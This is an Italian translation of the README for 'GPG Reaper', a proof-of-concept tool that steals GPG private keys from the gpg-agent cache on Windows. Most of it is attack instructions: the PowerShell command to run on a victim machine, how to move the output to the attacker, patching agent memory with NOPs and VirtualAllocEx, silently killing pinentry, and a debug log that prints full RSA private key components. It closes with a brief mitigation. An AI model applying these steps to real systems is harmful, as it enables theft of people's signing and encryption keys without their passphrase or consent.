
GPG Reaper - Ottenere/Rubare/Ripristinare le Chiavi Private GPG dalla cache/memoria di gpg-agent
TL;DR: Ottenere/Rubare/Ripristinare Chiavi Private GPG dalla cache/memoria di gpg-agent
Questa POC dimostra un metodo per ottenere chiavi private GPG dalla memoria di gpg-agent su Windows.
Normalmente ciò dovrebbe essere possibile solo entro un intervallo di 10 minuti (valore di --default-cache-ttl).
Sfortunatamente la funzione housekeeping() (responsabile della pulizia della cache) viene eseguita solo se stai usando GPG (non c'è un timer).
Ciò significa che in un caso d'uso normale di GPG come: firmi un file, poi chiudi la GUI e fai altro, la tua password è ancora nella memoria di gpg-agent (anche se la ttl è scaduta).
Un attaccante, con accesso alla tua sessione corrente, può utilizzare questo per rubare la chiave privata senza conoscere la tua passphrase.
NOTA: GPG cambierà il meccanismo di caching nella versione 2.2.6. Vedi commit e issue.

pip install PGPy
Se ottieni:
TypeError: Error when calling the metaclass bases metaclass conflict: the metaclass of a derived class must be a (non-strict) subclass of the metaclasses of all its bases` when running python script then:
allora:
pip install six==1.10.0
1. Installa Gpg4Win 3.0.3
2. Apri il prompt dei comandi e avvia l'agente con 2 secondi di tempo di cache:
cd c:\Program Files (x86)\GnuPG\bin
taskkill /im gpg-agent.exe /F
gpg-agent.exe --daemon --default-cache-ttl 2
3. Esegui Kleopatra e genera una nuova coppia di chiavi

4. Firma un file di test di esempio

5. Pinentry apparirà e ti chiederà la passphrase

6. Ripeti i passaggi 4-5. Ogni volta che pinentry appare perché la nostra cache di 2 secondi è scaduta
7. Esegui GPG reaper
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile testme.txt
Vedrai qualcosa come:
[+] Detect GPG version 3.0.3
[*] Readed jmp bytes: F6-05-E0-F9-45-00-04-0F-85
[*] Readed housekeeping bytes: 55
[+] Find sec key
[+] Check key grip:
[*] uid [ultimate] Adam Nowak <[email protected]>
[+] Found public key
[*] Allocate memory at: 2d00000
[+] Read debug log C:\Users\user\AppData\Local\Temp\gpg_D98F5932C4193BF82B9C773F13899DD586A1DE38_KqALSXPH.txt
[+] Key dumped
[*] Kill background Job
[*] Restore bytes
Come puoi vedere, abbiamo scaricato la chiave. Ciò è possibile perché abbiamo annullato (nop) la funzione housekeeping.
8. Ripristina la chiave privata:
python gpg_reaper.py .\testme.txt
La chiave privata viene scaricata nel file:
[+] Dump E057D86EE78A0EED070296C01BC8630ED9C841D0 - Adam Nowak <[email protected]>
GPG-Agent è un demone per gestire le chiavi private indipendentemente da qualsiasi protocollo.
L'interfaccia GUI comunica con l'agente usando il Protocollo Assuan.
Per impostazione predefinita, l'agente memorizza nella cache le tue credenziali.
L'opzione --default-cache-ttl n imposta il tempo di validità di una voce della cache a n secondi.
Il valore predefinito è 600 secondi. Ogni volta che una voce della cache viene accessa, il suo timer viene resettato.
Su Windows, il processo di firma si presenta così:

La parte cruciale qui è la funzione housekeeping() che è responsabile della rimozione delle credenziali scadute dalla memoria.
Ma c'è un problema: questa funzione viene eseguita solo in due punti (all'interno di agent_put_cache e agent_get_cache).
Ciò significa che le credenziali memorizzate nella cache NON vengono rimosse dalla memoria finché non vengono eseguiti alcuni comandi di gpg-agent che utilizzano agent_put_cache o agent_get_cache o agent_flush_cache.
Sul computer vittima:
powershell -ExecutionPolicy Bypass -File Gpg-Reaper.ps1 -OutputFile out.txt
Trasferisci out.txt sulla tua macchina e ripristina le chiavi private:
gpg_reaper.py out.txt
Le chiavi private verranno scaricate in file separati.
Se GPG è installato al di fuori delle directory predefinite:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
Se non vuoi messaggi di debug:
Gpg-Reaper -Verbose $false
Supponiamo che tu stia facendo penetration testing e ottieni una shell su un computer con GPG installato.
Se sei fortunato e l'utente ha usato GPG di recente e la cache non è scaduta, puoi:
1. Firma un file:
Esegui c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYINFO --list
S KEYINFO 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2 D - - - P - - -
SIGKEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
# SHA512 del messaggio
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
2. Esporta la chiave privata:
Esegui c:\Program Files (x86)\GnuPG\bin\gpg-connect-agent.exe
KEYWRAP_KEY --export
EXPORT_KEY 38EA3CACAF3A914C5EC2D05F86CDBDCFE83077D2
Sfortunatamente questo non funziona come previsto e richiede la password.
Perché? Perché la funzione cmd_export_key() esegue agent_key_from_file() con il flag CACHE_MODE_IGNORE il che significa che la cache non verrà utilizzata e all'utente verrà chiesta la passphrase ogni volta.
Sappiamo che non è possibile esportare la chiave GPG tramite gpg-agent senza conoscere la password.
Ma c'è una piccola stranezza. L'agente ha alcune opzioni disponibili:
1. --debug-level
Seleziona il livello di debug per investigare sui problemi. level può essere un valore numerico o una parola chiave:
guru - Tutti i messaggi di debug che puoi ottenere.
2. --log-file file
Aggiungi tutto l'output di log al file. Questo è molto utile per vedere cosa fa effettivamente l'agente.
Eseguiamo l'agente usando gpg-agent.exe --daemon --debug-level guru --log-file out.txt e firmiamo un file.
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SIGKEY 590A068768B6A5CB4DD81CD4828C72AD8427DFE4
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETKEYDESC Please+enter+the+passphrase+to+unlock+the+OpenPGP+secret+key:%0A%22adam+nowak+<[email protected]>%22%0A2048-bit+RSA+key,+ID+1308197BFDF95EAA,%0Acreated+2018-02-28.%0A
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- SETHASH 8 B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> OK
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- PKSIGN
2018-03-04 18:21:15 gpg-agent[7180] DBG: agent_get_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) ...
2018-03-04 18:21:15 gpg-agent[7180] DBG: ... miss
2018-03-04 18:21:15 gpg-agent[7180] starting a new PIN Entry
2018-03-04 18:21:15 gpg-agent[7180] DBG: connection to PIN entry established
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c -> INQUIRE PINENTRY_LAUNCHED 3736 qt 1.1.0 /dev/tty - -
2018-03-04 18:21:15 gpg-agent[7180] DBG: chan_0x0000008c <- END
2018-03-04 18:21:18 gpg-agent[7180] DBG: agent_put_cache '590A068768B6A5CB4DD81CD4828C72AD8427DFE4' (mode 2) requested ttl=0
2018-03-04 18:21:18 gpg-agent[7180] DBG: skey: (private-key
2018-03-04 18:21:18 gpg-agent[7180] DBG: (rsa
2018-03-04 18:21:18 gpg-agent[7180] DBG: (n #00EBF36EC96D941D126938C8BD7471F4BA4FF456A3034AD4EEBABABA3A6DE52445A2A67A4FB3DF8B90C6FD65D4B648D62749905DA1CEA7ECB8C31F7DC7ECF3B581668BA3041E6AD57DBE04D75E4C74612B310704B107AB49EE731FB991A7EE0B42E9BD4CD2FF09A2C5EC0AB13B4F53287706432BD03EFD5EA5AAC194CEF188018AAD3E394F14C587BB9A829E21EC39132652CED22B561EDB34E0E4FA64FD2E6035E035EA2592C2C89E71AD2B7A3B4BBFC14288D5448D6F7A64B37AB5AA80E5D34D03F9FC6375882D298DDBCB95F192C669DB141AA2B5F29F2DFC3B12DCB7385492C3EAD8F675901B78C69238A60E76163ED1130D9B4054A9A90AB8DA148280351F#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (e #010001#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (d #4B873C9EF0DB392524167FB7999742CA02FF095E9C16AFAB8D8D69407BDE1E2AC64279239B46032480762BCB17E09FE0AA9D3243B1E5B21280AF4B719C6974DFEBA5E63452D24AEDB9CE4DEC8B17B3E502082799CD8528A0D22C45181983CB0A0BCD4352C53DDDE3724807EC9EDB5538288286FB5DB6783E1AB765BD8AB6491B7021D17AEDD7494F902121C4B2C3BDB1447C0AABADD00FBD66EEC23882F9FC13DC967E6F1F5ABBAD9FA7E583360A31D3DAEC53CB46F981398CAAD511179E11B5BA04BDB79699AA58687287E9ABA9A820B22872C54078411A142AEA804497581AAD96FCBE4F01202AA4E687672973D26E7148AB7A269B60C68581817B1EB31DE5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (p #00ED6EA59EE03412314BF288629568237A649FACC88C5D6E2F266A58D1CF6BA26254526F916FF7CFC6AF5B5ED0618CE00099DCFB9CB1F7C6BAD6945A8125ECD6A352E8056644A7336FFE2C203B098ED7767FD51101FD4842F1DED870DFD4D1F947D5FB7AB13E318C977AB875F86785F8B98260BB3BA1F6133D03C9296F22875E23#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (q #00FE67215C9C6FEF8C21C81A9B34AAB91FCD321D95E3641D7EFE4B89BBAD918CF94068AC89440147ED07E68EC65997568921DE740A504D2D99DDB997BE7DE09228678F544226F2D75F62447AECD7385773D9A7B0EF272B5CF4F32B4EFCB1B0B81893DE768B692D350CFB6B32A683DF773D66169A436DC233AD412FD438E366B6D5#)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (u #17BA591E668D2D78B1C74E5820A9FE31481232D34B6EBBC2004767512AD4835A42B0621EBE6CD4359BFD9B8DDA3DF234471C99B1CF553EBCF5019452143360FEC051024E43063913DD7A36FA1CA12C02FEAF07C4A4DA50C5286264BC38333C85371B13C704B1FA0265FA4DF17CC1E02B9E37ACA7D72AE40413CA6E5548107299#)))
2018-03-04 18:21:18 gpg-agent[7180] DBG: hash: (data
2018-03-04 18:21:18 gpg-agent[7180] DBG: (flags pkcs1)
2018-03-04 18:21:18 gpg-agent[7180] DBG: (hash sha256 #B00357D0B85243BB34049E13FD5C328228BC53B317DF970594A1CED6CB89F4EA#))
Sembra che la modalità guru stampi i numeri n, e, d, p, q e u nel file di log. Sapendo questo possiamo calcolare la chiave pubblica e privata.
Internamente il valore skey viene stampato da gcry_log_debugsxp() quando DBG_CRYPTO è impostato:
if (DBG_CRYPTO)
{
gcry_log_debugsxp ("skey", s_skey);
gcry_log_debugsxp ("hash", s_hash);
}
Se vuoi proteggerti da questo attacco devi disabilitare la cache.
Crea/modifica: %APPDATA%\gnupg\gpg-agent.conf:
default-cache-ttl 0
max-cache-ttl 0
Verifica che i percorsi di gpg-connect-agent.exe, gpg-agent.exe e gpg.exe siano corretti
Verifica che lo sha256 di gpg-agent.exe sia supportato
Verifica che il processo gpg-agent.exe sia in esecuzione e aprilo usando OpenProcess
Start-Job che uccide tutte le istanze del processo pinentry. In questo modo, quando chiediamo una chiave che non è in cache, possiamo continuare senza interazione dell'utente
Leggi i byte originali da housekeeping() e agent_pksign_do() in modo da poterli ripristinare dopo l'esecuzione dello script
NOP della funzione housekeeping() in modo che non rimuova la cache scaduta dalla memoria


gpg-connect-agent.exe:SIGKEY %key_grip%
SETHASH 10 7bfa95a688924c47c7d22381f20cc926f524beacb13f84e203d4bd8cb6ba2fce81c57a5f059bf3d509926487bde925b3bcee0635e4f7baeba054e5dba696b2bf
PKSIGN
Verifica se il file di log contiene i numeri n, e, d, p, q e u. In caso affermativo, restituiscili all'utente.
Ripeti i punti 8-11 per ogni chiave del punto 7
Ora, usando la libreria PGPy possiamo ripristinare la chiave privata. Vedi: gpg_reaper.py
Gpg-agent è compilato senza ASLR quindi uso alcuni offset hardcoded nello script PowerShell.
Per questo motivo sono supportate solo le versioni specificate:
| Versione | sha256 di gpg-agent.exe |
|---|---|
| 3.0.3 | D1B331229966F1DCD00988BDE45E6496D447ECBF90AE35046859A67D5B55665A |
| 3.0.2 | 3FDF8E4509DEEA66646F98C4A23AA7C4E0C124997BD2C66E706E4A969DDA18A8 |
Perché questo file può essere eseguito senza dipendenze esterne sulla maggior parte dei sistemi Windows moderni.
gpg-connect-agent.exe, gpg-agent.exe o gpg.exe non esistono nella posizione predefinita.
Puoi provare a specificare una posizione personalizzata usando:
Gpg-Reaper -GpgConnectAgentPath c:\gpg\gpg-connect-agent.exe -GpgAgentPath c:\gpg\gpg-agent.exe -GpgPath c:\gpg\gpg.exe
gpg-agent.exe non è in esecuzione su questo sistema, quindi non possiamo ripristinare la chiave privata.
Attualmente questo script supporta solo versioni specifiche
Non c'è alcuna chiave in cache in memoria, quindi non possiamo ripristinare la chiave privata.
Icona della falce fatta da Freepik da www.flaticon.com.
Font Solstice Of Suffering di GraveTech.
Ottieni l'elenco di tutte le chiavi private disponibili usando gpg.exe --list-secret-keys --with-keygrip
Ottieni la chiave pubblica usando gpg.exe --armor --export %key_fingerprint%
Alloca memoria all'interno di gpg-agent.exe usando VirtualAllocEx. Memorizza lì il percorso del nostro file di log e chiama log_set_file().
Sostituisci if (DBG_CRYPTO) con una chiamata alla nostra memoria allocata dal punto 9 all'interno di agent_pksign_do().
| 3.0.1 | BE46382E6BCBF5B358B9D01C5435C326325DB5968955B7A6EC0055607DA51CEE |
| 3.0.0 | C9F4248E1D2B1B88C5037608BB56217703573A243B793C3D9FE76F1A652324FC |